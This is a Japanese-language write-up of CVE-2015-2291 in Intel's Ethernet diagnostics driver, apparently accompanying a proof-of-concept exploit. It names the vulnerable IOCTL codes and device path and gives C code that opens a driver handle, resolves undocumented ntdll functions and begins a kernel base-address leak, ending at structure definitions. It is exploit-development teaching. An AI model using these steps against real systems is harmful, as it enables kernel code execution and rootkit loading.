
(1) 1.3.1.0 より前の IQVW32.sys と (2) 1.3.1.0 より前の IQVW64.sys(Windows 用 Intel Ethernet diagnostics driver)により、ローカルユーザーが巧妙に細工された (a) 0x80862013、(b) 0x8086200B、(c) 0x8086200F、または (d) 0x80862007 IOCTL 呼び出しを介して、サービス拒否を引き起こしたり、カーネル権限で任意のコードを実行したりする可能性があります。
(1) IQVW32.sys 1.3.1.0未満および(2) IQVW64.sys 1.3.1.0未満のWindows用Intelイーサネット診断ドライバーは、巧妙に細工された(a) 0x80862013、(b) 0x8086200B、(c) 0x8086200F、または(d) 0x80862007 IOCTL呼び出しを介して、ローカルユーザーがサービス拒否を引き起こしたり、カーネル権限で任意のコードを実行したりすることを可能にします。
このリポジトリには、問題の脆弱性に関する解説記事と、64ビットWindows 7 SP1およびWindows 10 20H2で動作する概念実証エクスプロイトが含まれています。ドライバーファイルはDriver Filesディレクトリにあります。解説記事/論文全体で誤字を発見した場合や、特定の詳細についてより詳しい説明をご希望の場合は、リポジトリにissueを作成してください。できるだけ早く修正します。
このデバイスドライバーに対して特にエクスプロイトを作成した動機は、専ら、現在このドライバーが実際の攻撃で悪用され、攻撃者の署名なしルートキットを読み込むために使用されているからです。BYOVD(Bring Your Own Vulnerable Driver)方式を使用することで、マルウェアは自分が昇格された権限で実行されているかどうかを確認し、脆弱なデバイスドライバーのコピーをドロップし、ドライバーを読み込み、その後それを悪用してカーネルコード実行を獲得し、ルートキットを読み込むことができます。私はマルウェアサンプルのリバースエンジニアリングに成功できなかったため、自分でエクスプロイトを作成することにしました。
実際の攻撃で確認されたサンプル: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/
デバイスドライバー、すなわち iqvw64e.sys は、ネットワークアダプターの診断を実行するために設計されたドライバーです。このドライバーは、いくつかのIO制御コード(IOCTLとも呼ばれます)を公開することで、ユーザーモードコンポーネントがデバイスドライバーと対話し、多数のカーネルルーチンを実行することを可能にします。その際、対話中にユーザーの入力バッファー内に「サブ」IO制御コードが提供されます。脆弱なコードパスに到達するために使用されるIO制御コードは 0x80862007 です。主要な制御コードに加えて、この分析で取り上げる前述の「サブ」IO制御コードは、memmove 関数呼び出しコードパスに到達するための 0x33 コードと、memset 関数呼び出しコードパスに到達するための 0x30 コードです。この解説記事では DriverEntry ルーチンに関する詳細は取り上げません。マイクロソフトのドキュメントページに、十分に徹底的な説明を提供するドキュメントが存在するためです。
まず、そもそもこの特定のデバイスドライバーとどのように対話できるのかを知りたいところです。デバイスドライバーと通信する最も一般的な方法は、DeviceIoControlという名前の関数を使用することです。この関数の背後にある一般的な考え方は、CreateFileAによって作成された有効なドライバーハンドルを渡し、実行したいカーネルルーチンに対応するIO制御コードを渡し、ドライバーが期待する構造体(またはバッファー)を渡すと、出力バッファーにデータが返されるというものです。このようなルーチンは時に必要になることもありますが(例えば、オーバークロック目的でモデル固有レジスタにアクセスする場合など)、セキュリティに対して深刻なリスクももたらします。しかし…どのようにして?
CVE-2015-2291の場合、この脆弱性は非特権ユーザーによってトリガーされる可能性があります。サニタイズチェックが存在せず、さらに脆弱性を悪用するために管理者権限は不要であるため、これはセキュリティ上のリスクをもたらします。これら2つの欠陥の根底にあるのは、IO制御コードインターフェースによって公開された memset および memmove 関数呼び出しを完全に制御できる能力です。前述の DeviceIoControl 関数を覚えていますか?カーネルルーチンで使用される構造体を渡すことができましたよね?これですべてがつながります。
一歩下がって考えてみましょう。まず最初に、脆弱なデバイスドライバーに関連するドライバーハンドルを取得する必要があります。ただし、その前に対応する名前付きデバイスオブジェクトを見つける必要があります。これらはシンボリックリンク(通常はハードコードされています)によってユーザー空間に公開されており、[SysInternals suite]の一部であるWinObjを使用して見つけることができます。文字列ダンプユーティリティを使用してシンボリックリンクをダンプしたり、あるいはデバイスドライバーをリバースエンジニアリングしたりすることもできますが、私は単にデバイスドライバーを読み込んでWinObjを使用して特定しました。このデバイスドライバーに関連すると判明したシンボリックリンクは \\.\GLOBALROOT\Device\Nal です。ドライバーハンドルを取得するには、CreateFileA 関数を呼び出して、後のプロセスで使用できる有効なドライバーハンドルを返してもらう必要があります。このプロセスのコードは次のとおりです。```C
if (h_nal == (HANDLE)-1)
{
printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);
このドライバハンドルは、後のエクスプロイト処理で使用します。とりあえず、エクスプロイトの準備を始めましょう。次のステップでは、[LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) 関数を使用して `ntdll.dll` ライブラリをロードし、[モジュールハンドル](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types) を取得します。これにより、必要な関数を動的に特定できます。`ntdll.dll` ライブラリは既にプロセスにロードされているかもしれませんが、それでも使用できるライブラリのハンドルを取得する必要があります。エクスプロイトに必要な関数は、後のエクスプロイト処理で NT カーネルのベースアドレスを漏洩させるための [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation)(中程度のプロセス整合性で)と、脆弱性をトリガーするための [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html) 関数です。`ntdll.dll` ライブラリをロードするコードは以下のとおりです:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);
ライブラリへのハンドルを取得できたので、まずは NtQueryIntervalProfile 関数の場所を特定します。この関数は非公開のため、最初に関数の型定義が必要になります。型定義はオンラインで見つけることもできますが、ここでは参照しやすいように記載しておきます。```C
typedef unsigned int(__stdcall* NtQueryIntervalProfile)(
unsigned int ProfileSource,
PULONG Interval
);
この関数を使用するには、`NtQueryIntervalProfile` 型を使用して変数(ローカルまたはグローバル、お好みで)を宣言する必要もあります。では、この変数を実際の関数にするにはどうすればよいでしょうか?これを行うには、[GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) という名前の関数を使用します。検索するモジュールへのハンドル(最初のパラメータ)と関数の名前(2番目のパラメータ)を渡すことで、モジュール内の任意の関数を見つけ、その関数へのポインタを取得できます!この情報を処理するのに役立つコードが提供されています。```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);
動的に関数をロードして使用できる理由は、関数自体が実行可能コードへのポインタだからです。関数の本体とは、実際に実行されるコードのことです。
ここで NtQueryIntervalProfile 関数ポインタを解決しましたが、まだ NtQuerySystemInformation 関数のアドレスを取得する必要があります。前回と同様に、この関数には型定義が必要であり、その関数を呼び出すための変数も宣言する必要があります。また前回と同じく、アクセスしやすいように型定義を提供しています。```C
typedef NTSTATUS(WINAPI* NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
そして、前回同様、関数を特定する必要があります。直前の `GetProcAddress` の呼び出しとの唯一の違いは、検索する関数です。この関数をコピーして、2番目のパラメータを変更し、2番目の関数を検索できます。コードを記述した後、次のような結果になるはずです:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);
完璧です!必要な、存在していなかった関数をすべて見つけ出しました。さて、NT Kernelのベースアドレスを漏洩させる必要があります。NtQuerySystemInformationを利用することで、現在読み込まれているすべてのデバイスドライバのベースアドレスやその他の情報を返すクエリを作成できます。NtQuerySystemInformation関数の最初のパラメータはenumで、具体的には公開されていないものです。そのenumはSystemModuleInformationであり、対応する値は0xBです。次に、返される構造体の1つへのポインタを渡す必要があります。必要な構造体とenumは以下の通りです。FuzzySecurity (@b33f)提供:```C
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xB,
} SYSTEM_INFORMATION_CLASS;
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;